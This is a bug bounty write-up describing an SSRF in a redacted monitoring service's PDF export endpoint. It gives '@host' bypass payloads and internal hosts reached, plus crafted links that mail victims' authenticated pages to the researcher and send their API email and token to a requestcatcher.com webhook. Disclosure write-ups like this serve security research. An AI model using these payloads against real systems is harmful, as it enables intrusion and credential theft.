Exploiting a double-edged SSRF for server and client-side impact

Yassine Aboukir · April 3, 2022

Just like a knife with two cutting edges, this is a story of a double-edged Server-Side Request Forgery (SSRF) vulnerability which was successfully exploited to achieve and demonstrate both server and client-side security impact which is not very common to come across, at least in my own experience.

I was looking into a private bug bounty program that belongs to an organization offering a network monitoring solution so while poking around and testing out their various features, I ran some network tests using their agent then I took notice of this small feature that allows users to export the results of the test by sending you a PDF copy by e-mail. The request was the following:

GET /api/ui/export/exportPage?format=pdf&emailParams={"email":"yassineaboukir@wearehackerone.com","name":"Yassine","title":"PoC","message":"PoC"}&location=/v4/export/synthetics/tests/780/results
Host: app.████████.com

To my surprise, when I received the PDF report in the e-mail, it was literally a screenshot of the result’s web page so I went back to double check the endpoint and got intrigued by location parameter. I assumed the backend was probably taking a screenshot of the page at /v4/export/synthetics/tests/780/results and e-mailing it to the user.

To verify my assumption, I changed the value of location parameter to point to another authenticated route within the application, such as /v4/onboarding/device-status/80219.

Bingo! it worked as I received a PDF screenshot of that authenticated web page, so I was curious how this feature could be implemented in the backend and if there is any way we can point it to a different host, internal or external. I decided to run some tests as follows:

&location=//example.com
&location=https://example.com

The PDF report contained a screenshot of a 404 error which I was already familiar with, therefore I went with the assumption that the backend was most likely taking the value of location parameter, appending it to the host and then taking a screenshot, i.e:

https://app.████████.com/v4/export/synthetics/tests/780/results

If that is the case, then we can try common SSRF bypasses such as: @example.com or .example.com which, should they work, would result in the backend issuing an HTTP request to:

https://app.████████.com@example.com
https://app.████████.com.example.com

Well, both did work and received the below PDF report in the e-mail:

Example.com

Since we have a confirmed SSRF, we need to maximize its security impact by attempting to hopefully exploit it against their internal network, so naturally, the first test I ran was pointing the location parameter to internal hosts using various common techniques as described in this repository.

I tried payloads like @127.0.0.1, @localhost, @spoofed.burpcollaborator.net that points to the loopback address, 301 redirection, etc. but unfortunately, none of them worked as I was receiving a blank PDF report.

I looked for more internal hosts other than the typical ones which seem to be blacklisted, therefore I did a quick subdomains reconnaissance using Amass but it didn’t yield anything interesting so I searched on Github and I found a repository that referenced https://redash.iad1.████████.com which appears to be an internal host that was alive but not publicly accessible.

I quickly set the location parameter value to @redash.iad1.████████.com and got this PDF report in the mailbox:

Redash

Well, that escalated quickly! The host was running an instance of Redash with the login credentials auto-saved in plain-text. I thought they might be running other DevOps tools under .iad1.████████.com, so I manually fuzzed some popular project names, such as:

- @jenkins.iad1.████████.com
- @k8s.iad1.████████.com
- @github.iad1.████████.com
- Etc.

Then, puppet.iad1.████████.com was the jackpot! puppet is a software used to manage the infrastructure from servers’ configuration, deployment to orchestration, etc. That was the only guess I needed because I received a 10 pages PDF report which literally listed all of their internal hosts as you can see:

Puppet Puppet

I tried to hit a few of these internal endpoints and they seemed to be all accessible:

Elastic:

elastic

Kibana:

Kibana

At this point, we have a nicely exploitable SSRF to report to the program but I decided to explore the vulnerable endpoint a bit further. There are three important notes that I initially dismissed if you refer back to our previous HTTP request:

  • The GET endpoint was not protected against CSRF attacks.
  • It takes a screenshot of any authenticated web page.
  • It sends the screenshot to the address provided in email JSON parameter.

Consequently, by sending a specially crafted URL to a legitimate user, I can screenshot any authenticated page of theirs and send the report to my own e-mail address so the exploit would be as simple as:

https://app.████████.com/api/ui/export/exportPage?format=pdf&emailParams={"email":"yassineaboukir@wearehackerone.com","name":"Yassine","title":"PoC","message":"PoC"}&location=/v4/settings/users

Clicking on the above link would take a screenshot of /v4/settings/users web page and then e-mail it to yassineaboukir@wearehackerone.com which is the attacker’s email address - this was disclosing information for any other authenticated endpoint like networks agents at /v4/synthetics/agents, network classifications at /v4/settings/network-classification.

Afterwards, I set up an HTTP logger at requestcatcher.com then pointed the location parameter to my webhook @testing1337.requestcatcher.com. Unexpectedly, the HTTP request was found to be leaking my account’s e-mail address as well as API key through the its headers: X-CH-Auth-Api-Email, X-CH-Auth-Api-Token.

Request Catches

Therefore, we can leverage this endpoint to leak any organization’s email and API key associated with their account by simply misleading the user to click on:

https://app.████████.com/api/ui/export/exportPage?format=pdf&emailParams={"email":"yassineaboukir@wearehackerone.com","name":"Yassine","title":"PoC","message":"PoC"}&location=@test.requestcatcher.com

At this point, I decided to wrap up my research and submitted a comprehensive report to the program which fixed and rewarded it their maximum bounty award. I’d like to thank ninetynine for their collaboration and thank you for taking time to read until the end.

Twitter, Facebook